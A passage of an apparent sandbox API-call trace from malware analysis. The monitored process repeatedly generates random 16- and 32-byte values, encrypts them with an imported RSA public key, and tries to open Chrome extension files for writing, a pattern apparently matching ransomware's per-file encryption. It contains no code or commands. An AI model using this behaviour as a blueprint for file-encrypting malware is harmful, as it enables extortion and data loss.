pbBuffer=0x285cbc0) returned 1 [0240.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.620] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.623] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae438) returned 1 [0240.623] CryptGetKeyParam (in: hKey=0x66ae438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.623] CryptEncrypt (in: hKey=0x66ae438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa9a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa9a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.624] GetLastError () returned 0x0 [0240.624] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.624] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.626] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae6f8) returned 1 [0240.626] CryptGetKeyParam (in: hKey=0x66ae6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.626] CryptEncrypt (in: hKey=0x66ae6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa9b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa9b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.626] GetLastError () returned 0x0 [0240.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.626] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.627] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.632] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.632] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.632] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.632] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.637] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.637] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.637] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.639] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae738) returned 1 [0240.639] CryptGetKeyParam (in: hKey=0x66ae738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.639] CryptEncrypt (in: hKey=0x66ae738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa9c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa9c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.640] GetLastError () returned 0x0 [0240.640] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.640] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.641] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae7b8) returned 1 [0240.641] CryptGetKeyParam (in: hKey=0x66ae7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.641] CryptEncrypt (in: hKey=0x66ae7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa9d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa9d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.642] GetLastError () returned 0x0 [0240.642] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.642] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.643] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.646] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.647] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.647] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.648] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.654] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.654] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.654] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.656] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.658] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aedb8) returned 1 [0240.659] CryptGetKeyParam (in: hKey=0x66aedb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.659] CryptEncrypt (in: hKey=0x66aedb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa9e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa9e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.659] GetLastError () returned 0x0 [0240.659] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.659] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.661] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aef78) returned 1 [0240.661] CryptGetKeyParam (in: hKey=0x66aef78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.661] CryptEncrypt (in: hKey=0x66aef78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa9f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa9f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.661] GetLastError () returned 0x0 [0240.661] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.661] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.662] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.665] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.667] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.667] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.667] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.667] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.672] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.672] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.672] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.675] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aed38) returned 1 [0240.675] CryptGetKeyParam (in: hKey=0x66aed38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.675] CryptEncrypt (in: hKey=0x66aed38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaa00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.675] GetLastError () returned 0x0 [0240.675] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.675] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.677] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aeb38) returned 1 [0240.677] CryptGetKeyParam (in: hKey=0x66aeb38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.677] CryptEncrypt (in: hKey=0x66aeb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaa10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.677] GetLastError () returned 0x0 [0240.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.677] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.678] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.684] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.687] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.689] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.689] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.689] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.689] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.692] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aeaf8) returned 1 [0240.692] CryptGetKeyParam (in: hKey=0x66aeaf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.692] CryptEncrypt (in: hKey=0x66aeaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaa20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.692] GetLastError () returned 0x0 [0240.692] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.692] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.694] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae938) returned 1 [0240.694] CryptGetKeyParam (in: hKey=0x66ae938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.694] CryptEncrypt (in: hKey=0x66ae938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaa30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.694] GetLastError () returned 0x0 [0240.694] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.694] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_HK\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.695] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.700] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.700] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.700] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.705] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.705] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.705] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.706] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.708] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aec78) returned 1 [0240.708] CryptGetKeyParam (in: hKey=0x66aec78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.708] CryptEncrypt (in: hKey=0x66aec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaa40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.708] GetLastError () returned 0x0 [0240.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.708] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.710] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aecb8) returned 1 [0240.710] CryptGetKeyParam (in: hKey=0x66aecb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.710] CryptEncrypt (in: hKey=0x66aecb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaa50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.711] GetLastError () returned 0x0 [0240.711] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.711] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.712] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.719] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.719] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.719] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.725] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.725] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.725] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.726] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.729] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aeb78) returned 1 [0240.729] CryptGetKeyParam (in: hKey=0x66aeb78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.729] CryptEncrypt (in: hKey=0x66aeb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaa60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.729] GetLastError () returned 0x0 [0240.729] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.729] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.737] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66aef38) returned 1 [0240.738] CryptGetKeyParam (in: hKey=0x66aef38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.738] CryptEncrypt (in: hKey=0x66aef38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaa70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaa70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.738] GetLastError () returned 0x0 [0240.738] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.738] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.739] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0240.743] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.746] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0240.746] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.746] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0240.750] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.754] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.754] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0240.754] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.754] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0240.757] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, 